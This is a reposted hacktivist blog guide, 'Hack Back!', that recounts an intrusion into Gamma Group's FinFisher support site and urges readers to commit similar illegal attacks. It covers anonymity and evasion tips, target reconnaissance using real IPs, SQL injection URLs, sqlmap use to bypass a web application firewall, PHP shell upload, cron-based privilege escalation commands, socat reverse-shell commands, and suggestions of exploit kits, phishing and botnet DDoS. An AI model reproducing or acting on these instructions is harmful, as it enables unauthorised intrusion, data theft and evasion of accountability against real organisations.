2014年8月14日 星期四

  1.                 _   _            _      ____             _    _
  2.                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
  3.                | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
  4.                |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
  5.                |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
  6.                                                  
  7.      A DIY Guide for those without the patience to wait for whistleblowers
  8. --[ 1 ]-- Introduction
  9. I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
  10. it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
  11. it is, and to hopefully inform and inspire you to go out and hack shit. If you
  12. have no experience with programming or hacking, some of the text below might
  13. look like a foreign language. Check the resources section at the end to help you
  14. get started. And trust me, once you've learned the basics you'll realize this
  15. really is easier than filing a FOIA request.
  16. --[ 2 ]-- Staying Safe
  17. This is illegal, so you'll need to take same basic precautions:
  18. 1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
  19. 2) Inside the encrypted volume install Whonix [1]
  20. 3) (Optional) While just having everything go over Tor thanks to Whonix is
  21.    probably sufficient, it's better to not use an internet connection connected
  22.    to your name or address. A cantenna, aircrack, and reaver can come in handy
  23.    here.
  24. [0] https://truecrypt.ch/downloads/
  25. [1] https://www.whonix.org/wiki/Download#Install_Whonix
  26. As long as you follow common sense like never do anything hacking related
  27. outside of Whonix, never do any of your normal computer usage inside Whonix,
  28. never mention any information about your real life when talking with other
  29. hackers, and never brag about your illegal hacking exploits to friends in real
  30. life, then you can pretty much do whatever you want with no fear of being v&.
  31. NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
  32. for some things like web browsing, when it comes to using hacking tools like
  33. nmap, sqlmap, and nikto that are making thousands of requests, they will run
  34. very slowly over Tor. Not to mention that you'll want a public IP address to
  35. receive connect back shells. I recommend using servers you've hacked or a VPS
  36. paid with bitcoin to hack from. That way only the low bandwidth text interface
  37. between you and the server is over Tor. All the commands you're running will
  38. have a nice fast connection to your target.
  39. --[ 3 ]-- Mapping out the target
  40. Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
  41. domain names, and reverse whois lookups to find all IP address space and domain
  42. names associated with an organization.
  43. [0] http://ha.ckers.org/fierce/
  44. For an example let's take Blackwater. We start out knowing their homepage is at
  45. academi.com. Running fierce.pl -dns academi.com we find the subdomains:
  46. 67.238.84.228   email.academi.com
  47. 67.238.84.242   extranet.academi.com
  48. 67.238.84.240   mail.academi.com
  49. 67.238.84.230   secure.academi.com
  50. 67.238.84.227   vault.academi.com
  51. 54.243.51.249   www.academi.com
  52. Now we do whois lookups and find the homepage of www.academi.com is hosted on
  53. Amazon Web Service, while the other IPs are in the range:
  54. NetRange:       67.238.84.224 - 67.238.84.255
  55. CIDR:           67.238.84.224/27
  56. CustName:       Blackwater USA
  57. Address:        850 Puddin Ridge Rd
  58. Doing a whois lookup on academi.com reveals it's also registered to the same
  59. address, so we'll use that as a string to search with for the reverse whois
  60. lookups. As far as I know all the actual reverse whois lookup services cost
  61. money, so I just cheat with google:
  62. "850 Puddin Ridge Rd" inurl:ip-address-lookup
  63. "850 Puddin Ridge Rd" inurl:domaintools
  64. Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
  65. fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
  66. whois lookups and repeat the process until you've found everything.
  67. Also just google the organization and browse around its websites. For example on
  68. academi.com we find links to a careers portal, an online store, and an employee
  69. resources page, so now we have some more:
  70. 54.236.143.203  careers.academi.com
  71. 67.132.195.12   academiproshop.com
  72. 67.238.84.236   te.academi.com
  73. 67.238.84.238   property.academi.com
  74. 67.238.84.241   teams.academi.com
  75. If you repeat the whois lookups and such you'll find academiproshop.com seems to
  76. not be hosted or maintained by Blackwater, so scratch that off the list of
  77. interesting IPs/domains.
  78. In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
  79. was simply a whois lookup of finfisher.com which found it registered to the name
  80. "FinFisher GmbH". Googling for:
  81. "FinFisher GmbH" inurl:domaintools
  82. finds gamma-international.de, which redirects to finsupport.finfisher.com
  83. ...so now you've got some idea how I map out a target.
  84. This is actually one of the most important parts, as the larger the attack
  85. surface that you are able to map out, the easier it will be to find a hole
  86. somewhere in it.
  87. --[ 4 ]-- Scanning & Exploiting
  88. Scan all the IP ranges you found with nmap to find all services running. Aside
  89. from a standard port scan, scanning for SNMP is underrated.
  90. Now for each service you find running:
  91. 1) Is it exposing something it shouldn't? Sometimes companies will have services
  92. running that require no authentication and just assume it's safe because the url
  93. or IP to access it isn't public. Maybe fierce found a git subdomain and you can
  94. go to git.companyname.come/gitweb/ and browse their source code.
  95. 2) Is it horribly misconfigured? Maybe they have an ftp server that allows
  96. anonymous read or write access to an important directory. Maybe they have a
  97. database server with a blank admin password (lol stratfor). Maybe their embedded
  98. devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
  99. default password.
  100. 3) Is it running an old version of software vulnerable to a public exploit?
  101. Webservers deserve their own category. For any webservers, including ones nmap
  102. will often find running on nonstandard ports, I usually:
  103. 1) Browse them. Especially on subdomains that fierce finds which aren't intended
  104. for public viewing like test.company.com or dev.company.com you'll often find
  105. interesting stuff just by looking at them.
  106. 2) Run nikto [0]. This will check for things like webserver/.svn/,
  107. webserver/backup/, webserver/phpinfo.php, and a few thousand other common
  108. mistakes and misconfigurations.
  109. 3) Identify what software is being used on the website. WhatWeb is useful [1]
  110. 4) Depending on what software the website is running, use more specific tools
  111. like wpscan [2], CMS-Explorer [3], and Joomscan [4].
  112. First try that against all services to see if any have a misconfiguration,
  113. publicly known vulnerability, or other easy way in. If not, it's time to move
  114. on to finding a new vulnerability:
  115. 5) Custom coded web apps are more fertile ground for bugs than large widely used
  116. projects, so try those first. I use ZAP [5], and some combination of its
  117. automated tests along with manually poking around with the help of its
  118. intercepting proxy.
  119. 6) For the non-custom software they're running, get a copy to look at.  If it's
  120. free software you can just download it. If it's proprietary you can usually
  121. pirate it. If it's proprietary and obscure enough that you can't pirate it you
  122. can buy it (lame) or find other sites running the same software using google,
  123. find one that's easier to hack, and get a copy from them.
  124. [0] http://www.cirt.net/nikto2
  125. [1] http://www.morningstarsecurity.com/research/whatweb
  126. [2] http://wpscan.org/
  127. [3] https://code.google.com/p/cms-explorer/
  128. [4] http://sourceforge.net/projects/joomscan/
  129. [5] https://code.google.com/p/zaproxy/
  130. For finsupport.finfisher.com the process was:
  131. * Start nikto running in the background.
  132. * Visit the website. See nothing but a login page. Quickly check for sqli in the
  133.   login form.
  134. * See if WhatWeb knows anything about what software the site is running.
  135. * WhatWeb doesn't recognize it, so the next question I want answered is if this
  136.   is a custom website by Gamma, or if there are other websites using the same
  137.   software.
  138. * I view the page source to find a URL I can search on (index.php isn't
  139.   exactly unique to this software). I pick Scripts/scripts.js.php, and google:
  140.   allinurl:"Scripts/scripts.js.php"
  141. * I find there's a handful of other sites using the same software, all coded by
  142.   the same small webdesign firm. It looks like each site is custom coded but
  143.   they share a lot of code. So I hack a couple of them to get a collection of
  144.   code written by the webdesign firm.
  145. At this point I can see the news stories that journalists will write to drum
  146. up views: "In a sophisticated, multi-step attack, hackers first compromised a
  147. web design firm in order to acquire confidential data that would aid them in
  148. attacking Gamma Group..."
  149. But it's really quite easy, done almost on autopilot once you get the hang of
  150. it. It took all of a couple minutes to:
  151. * google allinurl:"Scripts/scripts.js.php" and find the other sites
  152. * Notice they're all sql injectable in the first url parameter I try.
  153. * Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
  154.   the option --tamper='tamper/modsecurityversioned.py'
  155. * Acquire the admin login information, login and upload a php shell [1] (the
  156.   check for allowable file extensions was done client side in javascript), and
  157.   download the website's source code.
  158. [0] http://sqlmap.org/
  159. [1] https://epinna.github.io/Weevely/
  160. Looking through the source code they might as well have named it Damn Vulnerable
  161. Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
  162. javascript, and if you're unauthenticated the admin page just sends you back to
  163. the login page with a Location header, but you can have your intercepting proxy
  164. filter the Location header out and access it just fine.
  165. [0] http://www.dvwa.co.uk/
  166. Heading back over to the finsupport site, the admin /BackOffice/ page returns
  167. 403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
  168. sqli (it's nice to have a dozen options to choose from). The other sites by the
  169. web designer all had an injectable print.php, so some quick requests to:
  170. https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
  171. https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
  172. reveal that finsupport also has print.php and it is injectable. And it's
  173. database admin! For MySQL this means you can read and write files. It turns out
  174. the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
  175. But I can use a short script that uses sqlmap --file-read to get the php source
  176. for a URL, and a normal web request to get the HTML, and then finds files
  177. included or required in the php source, and finds php files linked in the HTML,
  178. to recursively download the source to the whole site.
  179. Looking through the source, I see customers can attach a file to their support
  180. tickets, and there's no check on the file extension. So I pick a username and
  181. password out of the customer database, create a support request with a php shell
  182. attached, and I'm in!
  183. --[ 5 ]-- (fail at) Escalating
  184.  ___________
  185. < got r00t? >
  186.  -----------
  187.         \   ^__^
  188.          \  (oo)\_______
  189.             (__)\       )\/\
  190.                 ||----w |
  191.                 ||     ||
  192.             ^^^^^^^^^^^^^^^^
  193. Root over 50% of linux servers you encounter in the wild with two easy scripts,
  194. Linux_Exploit_Suggester [0], and unix-privesc-check [1].
  195. [0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
  196. [1] https://code.google.com/p/unix-privesc-check/
  197. finsupport was running the latest version of Debian with no local root exploits,
  198. but unix-privesc-check returned:
  199. WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
  200. www-data can write to /etc/cron.hourly/mgmtlicensestatus
  201. WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
  202. can write to /etc/cron.hourly/webalizer
  203. so I add to /etc/cron.hourly/webalizer:
  204. chown root:root /path/to/my_setuid_shell
  205. chmod 04755 /path/to/my_setuid_shell
  206. wait an hour, and ....nothing. Turns out that while the cron process is running
  207. it doesn't seem to be actually running cron jobs. Looking in the webalizer
  208. directory shows it didn't update stats the previous month. Apparently after
  209. updating the timezone cron will sometimes run at the wrong time or sometimes not
  210. run at all and you need to restart cron after changing the timezone. ls -l
  211. /etc/localtime shows the timezone got updated June 6, the same time webalizer
  212. stopped recording stats, so that's probably the issue. At any rate, the only
  213. thing this server does is host the website, so I already have access to
  214. everything interesting on it. Root wouldn't get much of anything new, so I move
  215. on to the rest of the network.
  216. --[ 6 ]-- Pivoting
  217. The next step is to look around the local network of the box you hacked.  This
  218. is pretty much the same as the first Scanning & Exploiting step, except that
  219. from behind the firewall many more interesting services will be exposed. A
  220. tarball containing a statically linked copy of nmap and all its scripts that you
  221. can upload and run on any box is very useful for this. The various nfs-* and
  222. especially smb-* scripts nmap has will be extremely useful.
  223. The only interesting thing I could get on finsupport's local network was another
  224. webserver serving up a folder called 'qateam' containing their mobile malware.
  225. --[ 7 ]-- Have Fun
  226. Once you're in their networks, the real fun starts. Just use your imagination.
  227. While I titled this a guide for wannabe whistleblowers, there's no reason to
  228. limit yourself to leaking documents. My original plan was to:
  229. 1) Hack Gamma and obtain a copy of the FinSpy server software
  230. 2) Find vulnerabilities in FinSpy server.
  231. 3) Scan the internet for, and hack, all FinSpy C&C servers.
  232. 4) Identify the groups running them.
  233. 5) Use the C&C server to upload and run a program on all targets telling them
  234.    who was spying on them.
  235. 6) Use the C&C server to uninstall FinFisher on all targets.
  236. 7) Join the former C&C servers into a botnet to DDoS Gamma Group.
  237. It was only after failing to fully hack Gamma and ending up with some
  238. interesting documents but no copy of the FinSpy server software that I had to
  239. make due with the far less lulzy backup plan of leaking their stuff while
  240. mocking them on twitter.
  241. Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
  242. already so I can move on to step 2!
  243. --[ 8 ]-- Other Methods
  244. The general method I outlined above of scan, find vulnerabilities, and exploit
  245. is just one way to hack, probably better suited to those with a background in
  246. programming. There's no one right way, and any method that works is as good as
  247. any other. The other main ways that I'll state without going into detail are:
  248. 1) Exploits in web browers, java, flash, or microsoft office, combined with
  249. emailing employees with a convincing message to get them to open the link or
  250. attachment, or hacking a web site frequented by the employees and adding the
  251. browser/java/flash exploit to that.
  252. This is the method used by most of the government hacking groups, but you don't
  253. need to be a government with millions to spend on 0day research or subscriptions
  254. to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
  255. for a couple thousand, and rent access to one for much less. There's also
  256. metasploit browser autopwn, but you'll probably have better luck with no
  257. exploits and a fake flash updater prompt.
  258. 2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
  259. of the time.
  260. The infosec industry invented a term to make this sound like some sort of
  261. science: "Social Engineering". This is probably the way to go if you don't know
  262. too much about computers, and it really is all it takes to be a successful
  263. hacker [0].
  264. [0] https://www.youtube.com/watch?v=DB6ywr9fngU
  265. --[ 9 ]-- Resources
  266. Links:
  267. * https://www.pentesterlab.com/exercises/
  268. * http://overthewire.org/wargames/
  269. * http://www.hackthissite.org/
  270. * http://smashthestack.org/
  271. * http://www.win.tue.nl/~aeb/linux/hh/hh.html
  272. * http://www.phrack.com/
  273. * http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
  274. * http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
  275. * https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
  276. * https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
  277.   (all his other blog posts are great too)
  278. * https://www.corelan.be/ (start at Exploit writing tutorial part 1)
  279. * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  280.   One trick it leaves out is that on most systems the apache access log is
  281.   readable only by root, but you can still include from /proc/self/fd/10 or
  282.   whatever fd apache opened it as. It would also be more useful if it mentioned
  283.   what versions of php the various tricks were fixed in.
  284. * http://www.dest-unreach.org/socat/
  285.   Get usable reverse shells with a statically linked copy of socat to drop on
  286.   your target and:
  287.   target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
  288.   host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
  289.   It's also useful for setting up weird pivots and all kinds of other stuff.
  290. Books:
  291. * The Web Application Hacker's Handbook
  292. * Hacking: The Art of Exploitation
  293. * The Database Hacker's Handbook
  294. * The Art of Software Security Assessment
  295. * A Bug Hunter's Diary
  296. * Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
  297. * TCP/IP Illustrated
  298. Aside from the hacking specific stuff almost anything useful to a system
  299. administrator for setting up and administering networks will also be useful for
  300. exploring them. This includes familiarity with the windows command prompt and unix
  301. shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
  302. networking, etc.
  303. --[ 10 ]-- Outro
  304. You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
  305. tool. It's not selling hacking tools that makes Gamma evil. It's who their
  306. customers are targeting and with what purpose that makes them evil. That's not
  307. to say that tools are inherently neutral. Hacking is an offensive tool. In the
  308. same way that guerrilla warfare makes it harder to occupy a country, whenever
  309. it's cheaper to attack than to defend it's harder to maintain illegitimate
  310. authority and inequality. So I wrote this to try to make hacking easier and more
  311. accessible. And I wanted to show that the Gamma Group hack really was nothing
  312. fancy, just standard sqli, and that you do have the ability to go out and take
  313. similar action.
  314. Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
  315. Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
  316. hackers, dissidents, and criminals!